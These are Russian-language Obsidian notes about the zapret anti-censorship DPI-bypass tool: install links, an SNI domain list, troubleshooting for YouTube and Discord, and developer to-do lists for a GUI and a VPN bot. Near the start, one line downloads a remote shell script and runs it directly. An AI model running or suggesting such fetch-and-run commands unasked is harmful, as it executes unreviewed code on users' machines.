[здесь](https://github.com/remittor/zapret-openwrt/wiki/Installing-zapret%E2%80%90openwrt-package). ### [zapret4rocket однокомандная установка Zapret от IndeecFOX](https://github.com/IndeecFOX/zapret4rocket) Устанавливает последнюю версию zapret с актуальными рабочими стратегиями обхода блокировок. Вам всего-лишь требуется жать Enter. Скрипт поддерживает быстрый подбор стратегий из проверенных и добавленных в него. YouTube без ограничений, работа войсов Telegram, Whatsapp, Discord, доступ к ntc.party, meduza.io и прочим ресурсам ![[Pasted image 20260214234019.png|500]] ```bash curl -O https://raw.githubusercontent.com/IndeecFOX/z4r/4/z4r && sh z4r ``` https://t.me/zee4r/2433/2434 https://github.com/IndeecFOX/zapret4rocket ## Keenetic https://github.com/Anonym-tsk/nfqws-keenetic https://github.com/Nikitian/Zapret-on-Keenetic https://habr.com/ru/articles/834826/ https://github.com/IndeecFOX/zapret4rocket https://github.com/AlexFBG/zapret --- --- tags: - zapret --- ```embed title: "Fetching" image: "data:image/svg+xml;base64,PHN2ZyBjbGFzcz0ibGRzLW1pY3Jvc29mdCIgd2lkdGg9IjgwcHgiICBoZWlnaHQ9IjgwcHgiICB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMDAgMTAwIiBwcmVzZXJ2ZUFzcGVjdFJhdGlvPSJ4TWlkWU1pZCI+PGcgdHJhbnNmb3JtPSJyb3RhdGUoMCkiPjxjaXJjbGUgY3g9IjgxLjczNDEzMzYxMTY0OTQxIiBjeT0iNzQuMzUwNDU3MTYwMzQ4ODIiIGZpbGw9IiNlMTViNjQiIHI9IjUiIHRyYW5zZm9ybT0icm90YXRlKDM0MC4wMDEgNDkuOTk5OSA1MCkiPgogIDxhbmltYXRlVHJhbnNmb3JtIGF0dHJpYnV0ZU5hbWU9InRyYW5zZm9ybSIgdHlwZT0icm90YXRlIiBjYWxjTW9kZT0ic3BsaW5lIiB2YWx1ZXM9IjAgNTAgNTA7MzYwIDUwIDUwIiB0aW1lcz0iMDsxIiBrZXlTcGxpbmVzPSIwLjUgMCAwLjUgMSIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiIGR1cj0iMS41cyIgYmVnaW49IjBzIj48L2FuaW1hdGVUcmFuc2Zvcm0+CjwvY2lyY2xlPjxjaXJjbGUgY3g9Ijc0LjM1MDQ1NzE2MDM0ODgyIiBjeT0iODEuNzM0MTMzNjExNjQ5NDEiIGZpbGw9IiNmNDdlNjAiIHI9IjUiIHRyYW5zZm9ybT0icm90YXRlKDM0OC4zNTIgNTAuMDAwMSA1MC4wMDAxKSI+CiAgPGFuaW1hdGVUcmFuc2Zvcm0gYXR0cmlidXRlTmFtZT0idHJhbnNmb3JtIiB0eXBlPSJyb3RhdGUiIGNhbGNNb2RlPSJzcGxpbmUiIHZhbHVlcz0iMCA1MCA1MDszNjAgNTAgNTAiIHRpbWVzPSIwOzEiIGtleVNwbGluZXM9IjAuNSAwIDAuNSAxIiByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIgZHVyPSIxLjVzIiBiZWdpbj0iLTAuMDYyNXMiPjwvYW5pbWF0ZVRyYW5zZm9ybT4KPC9jaXJjbGU+PGNpcmNsZSBjeD0iNjUuMzA3MzM3Mjk0NjAzNiIgY3k9Ijg2Ljk1NTE4MTMwMDQ1MTQ3IiBmaWxsPSIjZjhiMjZhIiByPSI1IiB0cmFuc2Zvcm09InJvdGF0ZSgzNTQuMjM2IDUwIDUwKSI+CiAgPGFuaW1hdGVUcmFuc2Zvcm0gYXR0cmlidXRlTmFtZT0idHJhbnNmb3JtIiB0eXBlPSJyb3RhdGUiIGNhbGNNb2RlPSJzcGxpbmUiIHZhbHVlcz0iMCA1MCA1MDszNjAgNTAgNTAiIHRpbWVzPSIwOzEiIGtleVNwbGluZXM9IjAuNSAwIDAuNSAxIiByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIgZHVyPSIxLjVzIiBiZWdpbj0iLTAuMTI1cyI+PC9hbmltYXRlVHJhbnNmb3JtPgo8L2NpcmNsZT48Y2lyY2xlIGN4PSI1NS4yMjEwNDc2ODg4MDIwNyIgY3k9Ijg5LjY1Nzc5NDQ1NDk1MjQxIiBmaWxsPSIjYWJiZDgxIiByPSI1IiB0cmFuc2Zvcm09InJvdGF0ZSgzNTcuOTU4IDUwLjAwMDIgNTAuMDAwMikiPgogIDxhbmltYXRlVHJhbnNmb3JtIGF0dHJpYnV0ZU5hbWU9InRyYW5zZm9ybSIgdHlwZT0icm90YXRlIiBjYWxjTW9kZT0ic3BsaW5lIiB2YWx1ZXM9IjAgNTAgNTA7MzYwIDUwIDUwIiB0aW1lcz0iMDsxIiBrZXlTcGxpbmVzPSIwLjUgMCAwLjUgMSIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiIGR1cj0iMS41cyIgYmVnaW49Ii0wLjE4NzVzIj48L2FuaW1hdGVUcmFuc2Zvcm0+CjwvY2lyY2xlPjxjaXJjbGUgY3g9IjQ0Ljc3ODk1MjMxMTE5NzkzIiBjeT0iODkuNjU3Nzk0NDU0OTUyNDEiIGZpbGw9IiM4NDliODciIHI9IjUiIHRyYW5zZm9ybT0icm90YXRlKDM1OS43NiA1MC4wMDY0IDUwLjAwNjQpIj4KICA8YW5pbWF0ZVRyYW5zZm9ybSBhdHRyaWJ1dGVOYW1lPSJ0cmFuc2Zvcm0iIHR5cGU9InJvdGF0ZSIgY2FsY01vZGU9InNwbGluZSIgdmFsdWVzPSIwIDUwIDUwOzM2MCA1MCA1MCIgdGltZXM9IjA7MSIga2V5U3BsaW5lcz0iMC41IDAgMC41IDEiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBkdXI9IjEuNXMiIGJlZ2luPSItMC4yNXMiPjwvYW5pbWF0ZVRyYW5zZm9ybT4KPC9jaXJjbGU+PGNpcmNsZSBjeD0iMzQuNjkyNjYyNzA1Mzk2NDE1IiBjeT0iODYuOTU1MTgxMzAwNDUxNDciIGZpbGw9IiNlMTViNjQiIHI9IjUiIHRyYW5zZm9ybT0icm90YXRlKDAuMTgzNTUyIDUwIDUwKSI+CiAgPGFuaW1hdGVUcmFuc2Zvcm0gYXR0cmlidXRlTmFtZT0idHJhbnNmb3JtIiB0eXBlPSJyb3RhdGUiIGNhbGNNb2RlPSJzcGxpbmUiIHZhbHVlcz0iMCA1MCA1MDszNjAgNTAgNTAiIHRpbWVzPSIwOzEiIGtleVNwbGluZXM9IjAuNSAwIDAuNSAxIiByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIgZHVyPSIxLjVzIiBiZWdpbj0iLTAuMzEyNXMiPjwvYW5pbWF0ZVRyYW5zZm9ybT4KPC9jaXJjbGU+PGNpcmNsZSBjeD0iMjUuNjQ5NTQyODM5NjUxMTc2IiBjeT0iODEuNzM0MTMzNjExNjQ5NDEiIGZpbGw9IiNmNDdlNjAiIHI9IjUiIHRyYW5zZm9ybT0icm90YXRlKDEuODY0NTcgNTAgNTApIj4KICA8YW5pbWF0ZVRyYW5zZm9ybSBhdHRyaWJ1dGVOYW1lPSJ0cmFuc2Zvcm0iIHR5cGU9InJvdGF0ZSIgY2FsY01vZGU9InNwbGluZSIgdmFsdWVzPSIwIDUwIDUwOzM2MCA1MCA1MCIgdGltZXM9IjA7MSIga2V5U3BsaW5lcz0iMC41IDAgMC41IDEiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBkdXI9IjEuNXMiIGJlZ2luPSItMC4zNzVzIj48L2FuaW1hdGVUcmFuc2Zvcm0+CjwvY2lyY2xlPjxjaXJjbGUgY3g9IjE4LjI2NTg2NjM4ODM1MDYiIGN5PSI3NC4zNTA0NTcxNjAzNDg4NCIgZmlsbD0iI2Y4YjI2YSIgcj0iNSIgdHJhbnNmb3JtPSJyb3RhdGUoNS40NTEyNiA1MCA1MCkiPgogIDxhbmltYXRlVHJhbnNmb3JtIGF0dHJpYnV0ZU5hbWU9InRyYW5zZm9ybSIgdHlwZT0icm90YXRlIiBjYWxjTW9kZT0ic3BsaW5lIiB2YWx1ZXM9IjAgNTAgNTA7MzYwIDUwIDUwIiB0aW1lcz0iMDsxIiBrZXlTcGxpbmVzPSIwLjUgMCAwLjUgMSIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiIGR1cj0iMS41cyIgYmVnaW49Ii0wLjQzNzVzIj48L2FuaW1hdGVUcmFuc2Zvcm0+CjwvY2lyY2xlPjxhbmltYXRlVHJhbnNmb3JtIGF0dHJpYnV0ZU5hbWU9InRyYW5zZm9ybSIgdHlwZT0icm90YXRlIiBjYWxjTW9kZT0ic3BsaW5lIiB2YWx1ZXM9IjAgNTAgNTA7MCA1MCA1MCIgdGltZXM9IjA7MSIga2V5U3BsaW5lcz0iMC41IDAgMC41IDEiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBkdXI9IjEuNXMiPjwvYW5pbWF0ZVRyYW5zZm9ybT48L2c+PC9zdmc+" description: "Fetching https://github.com/Flowseal/zapret-discord-youtube/issues/4580" url: "https://github.com/Flowseal/zapret-discord-youtube/issues/4580" favicon: "" ``` --- --- date: tags: link: aliases: img: --- ### Полный список `SNI` для vless [[Zapret/premium|premium]] представлен ниже: - `www.microsoft.com` - `www.google.com` - `google.com` - `cdn.discordapp.com` - `discordapp.com` - `discord.com` - `www.wildberries.ru` - `wildberries.ru` - `yandex.ru` - `taxi.yandex.ru` - `maps.yandex.ru` - `rutube.ru` - `goya.rutube.ru` - `2gis.ru` - `www.2gis.ru` - `742231.ms.ok.ru` - `ok.ru` - `www.ok.ru` - `www.max.ru` - `max.ru` - `web.max.ru` - `download.max.ru` - `www.gosuslugi.ru` - `gosuslugi.ru` - `counter.yadro.ru` - `www.apple.com` - `apple.com` - `www.ozon.ru` - `ozon.ru` - `io.ozone.ru` - `ir.ozone.ru` - `cdn1.ozonusercontent.com` - `cdnvideo.v.ozone.ru` - `st.ozone.ru` - `vr-1.ozone.ru` - `vt-1.ozone.ru` - `xapi.ozon.ru` - `xyz.ozone.ru` - `vk.com` - `vk.ru` - `alfabank.ru` - `esa-res.online.sberbank.ru` - `msk.t2.ru` - `t2.ru` - `mos.ru` - `www.mos.ru` - `1013a--ma--8935--cp199.stbid.ru` - `25111.ms.vk.com` - `a.wb.ru` - `ad.adriver.ru` - `ad.mail.ru` - `akamai.com` - `alfabank.servicecdn.ru` - `alfabank.st` - `api.a.mts.ru` - `api.events.plus.yandex.net` - `api.expf.ru` - `api.mindbox.ru` - `api.mycdn.me` - `api.vk.com` - `avatars.mds.yandex.net` - `avito.ru` - `banners-website.wildberries.ru` - `beeline.api.flocktory.com` - `beeline.ru` - `cdn.gpb.ru` - `cdn.uxfeedback.ru` - `chat-prod.wildberries.ru` - `cm.a.mts.ru` - `connect.ok.ru` - `csp.yandex.net` - `d-assets.2gis.ru` - `d5de4k0ri8jba7ucdbt6.apigw.yandexcloud.net` - `dev.max.ru` - `dzen.ru` - `egress.yandex.net` - `eh.vk.com` - `extimp.userapi.com` - `eye.targetads.io` - `fb-cdn.premier.one` - `fonts.gstatic.com` - `fptn.vpn.mradx.net` - `fptn.vpn.vk.com` - `gazprombank.ru` - `get4click.ru` - `hrc.tbank.ru` - `i.mycdn.me` - `id.tbank.ru` - `identitystatic.mts.ru` - `img.avito.st` - `imgproxy.cdn-tinkoff.ru` - `jsons.injector.3ebra.net` - `kinopoisk.ru` - `kremlin.ru` - `le.tbank.ru` - `login.mts.ru` - `login.vk.com` - `m.ok.ru` - `m.vk.com` - `m.vk.ru` - `magnit-ru.injector.3ebra.net` - `magnit.ru` - `mail.ru` - `mc.yandex.ru` - `mddc.tinkoff.ru` - `megafon.ru` - `microsoft.com` - `minjust.gov.ru` - `moscow.megafon.ru` - `moskva.beeline.ru` - `mts.ru` - `mtscdn.ru` - `music.m.vk.com` - `music.ok.ru` - `music.vk.com` - `mycdn.me` - `nspk.ru` - `ntp.ix.ru` - `okcdn.ru` - `online.sberbank.ru` - `payment-widget.plus.kinopoisk.ru` - `penis.userapi.com` - `persiq.vk.com` - `personalization-web-stable.mindbox.ru` - `privacy-cs.mail.ru` - `px.adhigh.net` - `queuev4.vk.com` - `r3.mail.ru` - `rap.skcrtxr.com` - `rs.mail.ru` - `s1.bss.2gis.com` - `s3.t2.ru` - `samsung.com` - `sba.yandex.net` - `sberbank.ru` - `servicepipe.ru` - `serving.a.mts.ru` - `sntr.avito.ru` - `sosok.vk.com` - `speller.yandex.net` - `splitter.wb.ru` - `st.okcdn.ru` - `statad.ru` - `static.beeline.ru` - `static.vk.com` - `stats.vk-portal.net` - `storage.yandexcloud.net` - `strm-rad-23.strm.yandex.net` - `strm-spbmiran-08.strm.yandex.net` - `sun6-20.userapi.com` - `sun6-21.userapi.com` - `sun6-22.userapi.com` - `sun9-38.userapi.com` - `sync.browser.yandex.net` - `tag.a.mts.ru` - `tbank.ru` - `tele2.ru` - `tmsg.tbank.ru` - `tns-counter.ru` - `top-fwz1.mail.ru` - `tywidv1.userapi.com` - `user-geo-data.wildberries.ru` - `wcm.weborama-tech.ru` - `web-static.mindbox.ru` - `widgets.cbonds.ru` - `widgets.kinopoisk.ru` - `www.kinopoisk.ru` - `www.magnit.com` - `www.t2.ru` - `www.tbank.ru` - `www.unicreditbank.ru` - `ya.ru` - `yabro-wbplugin.edadeal.yandex.ru` - `yastatic.net` - `corp.megafon.ru` - `www.w3.org` --- --- tags: link: aliases: img: --- # Как обойти блокировку YouTube По умолчанию в запрете включено 3 области для обхода Ютуба: ![[Pasted image 20260101185946.png]] - `Youtube TCP` — обходит основной сайт (интерфейс https://www.youtube.com) - `YouTube QUIC` — обходит блокировку по протоколу QUIC (обычно включен в браузере Edge, но часто выключен, особенно для пользователей из под РФ) - `GoogleVideo` — обходит блокировку непосредственно CDN-серверов YouTube (сервера типа https://rr2---sn-aigl6nze.googlevideo.com), они отвечают за загрузку непосредственно самого контента. Эта вкладка полезна когда сам сайт ютуба работает, а видео внутри видеоплеера не загружаются. --- --- tags: link: aliases: img: --- # Как обойти блокировку YouTube По умолчанию в запрете включено 3 области для обхода Ютуба: ![[Pasted image 20260101185946.png]] - `Youtube TCP` — обходит основной сайт (интерфейс https://www.youtube.com) - `YouTube QUIC` — обходит блокировку по протоколу QUIC (обычно включен в браузере Edge, но часто выключен, особенно для пользователей из под РФ) - `GoogleVideo` — обходит блокировку непосредственно CDN-серверов YouTube (сервера типа https://rr2---sn-aigl6nze.googlevideo.com), они отвечают за загрузку непосредственно самого контента. Эта вкладка полезна когда сам сайт ютуба работает, а видео внутри видеоплеера не загружаются. --- --- date: tags: link: aliases: img: cssclasses: --- # ⛔ Что делать если [[Zapret2]] (Запрет2) не работает ## Какая стратегия лучше всего? / У меня сломался Zapret после ваших обновлений ### ❓ Что делать если я перепробовал ВСЕ стратегии? Часто возникает вопрос: "Какая конфигурация для zapret точно работает?". Правильный ответ — никакая. Не существует универсального рецепта, который гарантированно будет работать у всех, всегда и везде. zapret — это не кнопка "сделать хорошо", а сложный инструмент, успех которого зависит от огромного количества переменных на стороне пользователя. Если ваш привычный способ обхода блокировок перестал работать или его эффективность заметно снизилась, поймите следующее: * **Сам "запрет" не "сломался" и не перестал действовать.** Механизмы блокировки остаются активными. * **Стратегии обхода, заложенные в нашей программе, как правило, стабильны** и почти не меняются от обновления к обновлению. **Наиболее вероятная причина – ваш интернет-провайдер обновил свои системы ТСПУ DPI (Deep Packet Inspection).** Именно эти системы анализируют ваш трафик. После обновления DPI ваша ранее работавшая стратегия обхода могла стать "видимой" для провайдера и перестать быть эффективной. ### Какая же стратегия наиболее рабочая? Пользователи часто спрашивают: «Какая стратегия самая рабочая?» Ответ — никакая конкретная, потому что результат зависит от множества переменных, большинство из которых находятся вне контроля пользователя. zapret — это инструмент обхода DPI (Deep Packet Inspection). Он работает локально, модифицируя исходящие пакеты так, чтобы система фильтрации не смогла корректно их проанализировать. Он не меняет ваш IP-адрес, не создаёт туннелей и не маршрутизирует трафик через внешние серверы. ### 1. Инфраструктура блокировок неоднородна Разное оборудование ТСПУ в разных регионах. Технические средства противодействия угрозам разворачиваются неравномерно. В одном регионе может стоять устаревшее оборудование, которое обходится простейшей фрагментацией, а в другом — современное, способное на полную пересборку фрагментов и глубокий анализ TLS-хэндшейка. «Региональная лотерея». То, что работает у пользователя в Москве, может быть наглухо заблокировано в Новосибирске или Владивостоке. Провайдеры на местах могут иметь разные версии прошивок ТСПУ, разные настройки агрессивности фильтрации и разные сроки обновления оборудования. Разные магистральные провайдеры. Ваш региональный провайдер получает интернет от магистрального оператора. Фильтрация может происходить на любом из уровней — у вашего провайдера, у магистрального, или на обоих сразу. Стратегия, обходящая один уровень, может не пройти через другой. ### 2. Тип блокировки определяет эффективность Блокировка по IP-адресу. Если провайдер блокирует по IP целиком, zapret бессилен — он модифицирует содержимое пакетов, но не меняет адрес назначения. Против блокировки по IP нужен VPN или прокси. Блокировка по DPI (анализ содержимого). Именно для этого сценария и создан zapret. Он фрагментирует пакеты (ipfrag), разбивает TLS ClientHello (multisplit), отправляет поддельные пакеты (fake) и применяет другие техники, чтобы DPI не смог распознать протокол или домен. «Троттлинг» (замедление). Вместо полной блокировки провайдер может снижать скорость для подозрительных паттернов трафика. zapret формально работает, но скорость становится непригодной для использования. Определить троттлинг сложнее, чем полную блокировку. ### 3. Конфликты с локальным окружением Антивирус и сторонний файрвол. Одна из самых частых причин неработоспособности. Антивирусное ПО видит, что программа перехватывает и модифицирует сетевые пакеты, расценивает это как угрозу и блокирует zapret. Необходимо добавлять исключения. Другие VPN-клиенты. Если одновременно запущен VPN, он создаёт собственные правила маршрутизации и может перенаправлять трафик мимо zapret, либо конфликтовать с ним на уровне сетевого стека. Настройки DNS. Если в браузере или системе включён DNS-over-HTTPS (DoH) или DNS-over-TLS, DNS-запросы шифруются и уходят напрямую к внешнему резолверу. Это может как помогать (провайдер не видит DNS), так и мешать (zapret в режиме tpws может не знать реальный IP назначения). Настройки DNS на роутере. Если роутер принудительно раздаёт провайдерские DNS-серверы, это может конфликтовать с настройками zapret и приводить к тому, что DNS-ответы подменяются ещё до того, как zapret сможет вмешаться. ### 4. Сложность современных веб-сайтов Множество доменов. Современный сайт подгружает ресурсы с десятков доменов (CDN, аналитика, шрифты, API). Стратегия zapret может успешно обойти блокировку основного домена, но если критический ресурс загружается с другого домена, который тоже фильтруется — сайт будет работать некорректно или не загрузится вовсе. ### 5. Цепочка, в которой важно каждое звено zapret — не изолированное приложение, а элемент цепочки: ``` Браузер → ОС → Антивирус → zapret → Роутер → Провайдер → Магистраль → Сервер назначения ``` Сбой или конфликт в любом из этих звеньев приводит к неработоспособности всей схемы. Именно поэтому одна и та же стратегия даёт разный результат у разных пользователей — даже если они находятся у одного провайдера в одном городе. ### Вывод Единственный надёжный способ найти рабочую стратегию — анализ нескольких типичных стратегий из готовых [[preset|пресетов]] и просмотр какие [[desync|техники дурения]] наиболее активные. > [!tip] «Не работает» — это симптом, а не причина > Сама программа — лишь манипулятор трафика и «сломаться» не может; меняется DPI провайдера, из-за чего устаревает стратегия конкретного [[profile|профиля]]. Разбор частых формулировок («перепробовал все пресеты», «YouTube не работает 2026», «какая стратегия самая рабочая») и почему чинить нужно профиль, а не «переустанавливать Запрет» — в заметке [[profile|Что такое профиль]]. ## Что ещё может помочь: 1. Проверить, что версия программы действительно [последняя](https://t.me/zapretnetdiscordyoutube). В Вашей версии с немалой вероятностью могла сломаться функция проверки обновлений - будет писать, что обновление не найдено, хотя по факту оно есть, просто сервер для них в очередной раз переехал (его ддосили и ломали) - поэтому проверьте версию и обновитесь вручную. 2. Попробовать стратегию "Alt 2" (под номером один на классическом запуске). 3. Попробовать все стратегии не только на классическом запуске, но и на [прямом](https://git.zapret.moe/zapretdiscordyoutube/zapretgui/wiki/%D0%9A%D0%BB%D0%B0%D1%81%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9-%D0%B8-%D0%9F%D1%80%D1%8F%D0%BC%D0%BE%D0%B9-%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA) с разными [флагами](attachments/direct-launch-flags.png) и разными [аргументами запуска](attachments/direct-launch-arguments.png). Также может помочь, выключить на прямом запуске **вообще все вкладки** (для этого в самом низу есть пустая стратегия), а потом **включить только** те вкладки, в названии которых стоит **имя** нужного сайта/приложения. 4. [Скачать тестовую (dev) версию](https://git.zapret.moe/zapretdiscordyoutube/zapretgui/releases) и сделать то же самое - в ней могут находиться новые стратегии и быть исправлены некоторые баги. 5. Пройтись [блокчеком](https://t.me/zapretblockcheck/4) (только для YouTube и Discord). Занимает обычно более часа, так как команд там огромное множество и он их по очереди проверяет.p 6. Попробовать [ByeByeDPI](https://t.me/byebyedpi_group). Он и для [Windows](https://t.me/byebyedpi_group/253020), и для [Android](https://t.me/byebyedpi_group/118880). Помимо стратегий в самом приложении (в автоподборе), в их группе можно найти [стратегии от других пользователей](https://t.me/byebyedpi_group/21941/). Например, [эта стратегия](https://t.me/byebyedpi_group/21941/480245) обходит блокировки почти всех сайтов. ## Как починить приложение Дискорд: Первым дело, нужно отключить стратегии во всех категориях (вообще), потому что могут возникать конфликты (неясно почему). Сначала чиним страницу discord.com, перебирая стратегии из только категории discord.com. (приложение не может починится, если не работает сайт.) Можно также изменить количество обрабатываемых пакетов: https://t.me/bypassblock/1207 Также в разделе "Редактор hosts" можно включить Discord. (Включайте его правильно, как написано на его странице.) Затем, если в приложении ошибка Checking for updates, то либо просто вручную скачиваем обновление с сайта, либо подбираем стратегию из категории updates.discord.com (для начала, можно попробовать ту же стратегию, что стоит и в discord.com). При переборе стратегий перезапускаем приложение полностью, чтобы даже в трее его не было! Иногда после открытия Дискорда может быть просто черный экран. Это не всегда означает, что надо опять перебирать стратегии, частенько достаточно просто перезапустить приложение, чтобы оно раздуплилось. Если в голосовых звонках ошибка "Подключение", то нужно перебирать стратегии из категории discord.media, пока не будет ошибка RTC. Перед тем, как выбирать новую стратегию, нужно выходить вручную из звонка (даже если приложение само перезапускается)! Когда появится ошибка RTC, то подбирать стратегию из категории "Голосовые звонки". Также в hosts можно включить Discord Voice. Также войс может не работать, если не включить стратегию в категории "IPset TCP (Cloudflare)". Тут можно проверять обход блокировки серверов Cloudflare: https://hyperion-cs.github.io/dpi-checkers/ru/tcp-16-20/ Проблема 5000 пинга решается выбором другого региона сервера голосового канала. (При личном звонке его можно выбрать самим, но на сервере может только админ.) Но также всё зависит от текущих стратегий. (альтернативный гайд: https://t.me/youtubediscordvpn/202799) --- --- tags: link: aliases: img: --- Мы продолжаем набирать волонтеров в тех поддержку. Это люди которые помогают обычным пользователям решать их проблемы в премиальной и [обычной тех. поддержке](https://t.me/zapret_support_bot). К сожалению у админа только две руки и на всех не хватает. Если Вы готовы помогать людям то напишите [сюда](https://t.me/loopuh_kakoyita). Ответьте на основные вопросы: 1. Зачем вы хотите стать волонтёром 2. Технические навыки в сетях 3. Опыт работы в предыдущих проектах (если был) --- рассказать о беспрецедентном шаге что я сделал сервер бесплатный [[curl]] - [ ] сделать серверную защиту для лого-ботов - [x] запрет вин7 ✅ 2026-03-18 - [ ] переписать автозапуск ❯ то есть автозапуск всегда один файл запускает да? ● Read 1 file (ctrl+o to expand) ● Да. Task Scheduler запускает zapret2-run.bat, а тот всегда запускает winws2.exe с одним и тем же файлом utils\preset-active.txt. Когда пользователь выбирает пресет в меню, service.bat просто копирует выбранный пресет поверх preset-active.txt (строка 163: copy /Y). Так что автозапуск всегда читает один файл, а содержимое в нём меняется. ## Zapret 20.0 - [x] Отделить фейк и мультисплит друг от друга (перенести сложные стратегии в другое) ✅ 2026-01-21 ## Zapret 16.5 - [x] Сделать настройку которая позволяет закрывать и открывать вкладку смена пресета по желанию пользователя при смене стратегий (по умолчанию диалог не закрывается, прямо как сейчас) ✅ 2025-10-14 - [x] вкладка warp ✅ 2025-10-14 ## Zapret 16.6 ### Сделать программу более "простой" - [x] [[Отдельный бот для гитхаба]] ✅ 2025-10-14 - [ ] Поменять чтобы бот сканировал issue а не discussion - [ ] [[Phasmophobia]] - [ ] [[Comss DNS]] (проверить что они есть) - [ ] [[preset_discord_media_stun]] - [x] Ещё раз перепереперепроверить войсы (все ли порты заняты) Да заняты используется `STUN = "--filter-l7=discord,stun" IPSET = "--ipset=ipset-discord.txt"` ✅ 2025-10-14 - [ ] переделать автозапуск службы бат через nssm (в режиме бат) - [ ] discord.media отдельные стратегии - [ ] Перепроверить и добавить стратегии ytbistro и другие - [ ] [[Dronator 4.2]] - [ ] вкладка cloudflare (tcp) - [ ] сделать [[Чёрный хостлист]] в гуи файл netrogat.txt - [ ] Скрытие вкладок если выбран базовый аргумент (если не включен какой то базовый аргумент, например очень аккуратный режим, то скрывать определенную вкладку стратегий чтобы пользователи не тыркали всё подряд а они бы просто не применялись) - [ ] позволить остановить запрет даже если включен автозапуск службы или планировщика - [ ] Сделать смену днс толкьо ОДИН раз принудительно, потом НЕ МЕНЯТЬ НИКОГДА (в отдельном файле реализовать первоначальную настройку) - [ ] [[Что такое файл hosts|hosts]] реализовать что если запрет премиум то сервер подключения автоматически меняется на премиальный - [ ] Кнопка "Открыть wiki на github" не открывает дискуссии - [ ] импорт настроек через reg edit (быстрая кнопка в alt меню настройки) - [ ] [[Launcher zapret 2.9.1]] - [ ] [[Ubisoft]] - [ ] [[League of Legends]] - [ ] [ESC для отмены обновления](https://git.zapret.moe/zapretdiscordyoutube/zapretgui/issues/139) - [ ] добавить вин7 версию в запрет прямо в меню - [ ] разделить вкладку стратегии на tcp / udp и прочее (звонки дискорда телеграма и игры) - [ ] запрет не открывает сам себя из трея (надо проверить) - [ ] [[Battlefield 6]] - [ ] flowseal сделать проверку на все новые билды - [ ] прочитать обсуждения болвана - [ ] [[DiscordFix_5.1.7]] - [x] Починить тикток до конца через hosts ✅ 2025-10-25 НЕВОЗМОЖНО ПОЧИНИТЬ ТИКТОК БЛОКИРУЕТ ЛЮБЫЕ ВПН - [ ] Новые стратегии `ALT7`, `FAKE TLS AUTO ALT3` - [ ] Обновлены стратегии `FAKE TLS AUTO`, `FAKE TLS AUTO ALT`, `FAKE TLS AUTO ALT2` - [ ] Удалены стратегии `FAKE TLS`, `FAKE TLS ALT` (наименее рабочие; если они у вас работают - просто перенесите файлы этих стратегий обратно) - [ ] Расширены порты для Discord'а (в теории должно помочь для специфических регионов каналов; если некоторые каналы по-прежнему недоступны, то попробуйте другую стратегию; за это отвечает фильтр `--filter-tcp=2053,2083,2087,2096,8443`) - [ ] Добавлена поддержка значения `!` в аргументах (для `--dpi-desync-fake-tls`) для установки в сервисы (в самом файле необходимо использовать `^!`) - [ ] Добавлена поддержка дурения по timestamp ([подробнее тут](https://github.com/bol-van/zapret?tab=readme-ov-file#%D1%84%D0%B5%D0%B9%D0%BA%D0%B8)) - [ ] Айпи плейсхолдер в файле ipset-all.txt заменён с `0.0.0.0/32` на `203.0.113.113/32` ([`Documentation (TEST-NET-3)`](https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml)) - [ ] Надо поменять чтобы по команде buy был выбор тарифа из json файла а потом оттуда уже выбор длительности (и указание сколько это рублей) - [ ] добавить 4pda.to в hosts [#78](https://t.me/c/3005847271/4712) - [x] прямой запуск не работает по умолчанию (открывается alt2 и меню с bat файлами) хотя в коде прямой запуск выбран по умолчанию ✅ 2025-11-08 ## Zapret 16.7 - [ ] albion online обход https://github.com/floxrey https://git.zapret.moe/zapretdiscordyoutube/zapretgui/issues/121 - [ ] а вы не думали насчет добавления возможности обновления запрета с помощью winget'а? Там, вроде как, не сильно сложно это сделать @l0pel ## Zapret 17.0 - [ ] Добавить блокчек `SOS` прямо в Zapret Назвать как `СосЧек` Выделять зеленым фоном стратегии которые пробивают и красным которые не пробивают (сейчас они все серые, избаранные оставить желтым) ## Zapret 20.0 ## [[ZapretGPT]] - [ ] /delete_range - вернуть как было Сделать, чтобы /delete_range удалял сообщения конкретного человека. Так было раньше, а теперь он удаляет сообщения всех людей подряд - никак нельзя указать ник. - [ ] Добавить мут запрет на стикеры и картинки (если 18+ или спам) - [ ] чтобы видел кто обращается и хранил историю диалогов - [ ] удалить всю логику дорожной карты ### [[ModerBot]] ## Zapret VPN (Telegram bot) - [ ] сделать бесплатную возможность объединить подписки если один уровень - [ ] ==Censorliber когда на атланте и других рф сервах квна заработает дс, ютуб?== - [ ] сделать задачу фоновую которая позволяет проверять платежи которые были оплачены но кнопка проверить оплату не нажата🔺 - [ ] Добавить тех поддержку 🛟 Поддержка Это центр тикетов: создавай обращения, просматривай ответы и историю. - [ ] 🎫 Создать тикет — опиши проблему или вопроc - [ ] Доступно несколько типов "Идея", "Баг", "Деловое предложение" - [ ] 📋 Мои тикеты — статус и переписка Старайся использовать тикеты — так мы быстрее поможем и ничего не потеряется. - [ ] да купоны, помню, помню в запрет впн (реферальная система кэшбык) - [ ] 🎁 Напоминаем о реферальной программе! - [ ] как оформить ключи запрет премиум - [ ] сейчас кнопка `Все мои конфиги` отправляет сообщение как одно - если конфигов много телеграм пишет что сообщение слишком длинное - [ ] Проще сделать так чтобы все ключи собирались в txt файл и отправлялись как файл пользователю (собирается файл в памяти ОЗУ и желательно чтобы на диске вообще не сохранялась а сразу самоуничтожалось) - [ ] Добавить возможность чтобы каждый из ключей был также в файле со всеми `SNI` (то есть сделать чтобы каждый ключ пользователя на отдельных inbound мог автоматически собираться со всеми `SNI`. И отправлять в форме файла этот ключ со всеми `SNI`) - [ ] отдельная беседа для премиумов где бот кикает если премки нет - [ ] сделать акцию благотворительную какую-то - [ ] 👤 @Daniil710: Еще тикет почти все всегда все сообщения добавляет, кроме пополнения баланса и команд бота, следует исправить чтобы только ответ на сообщение 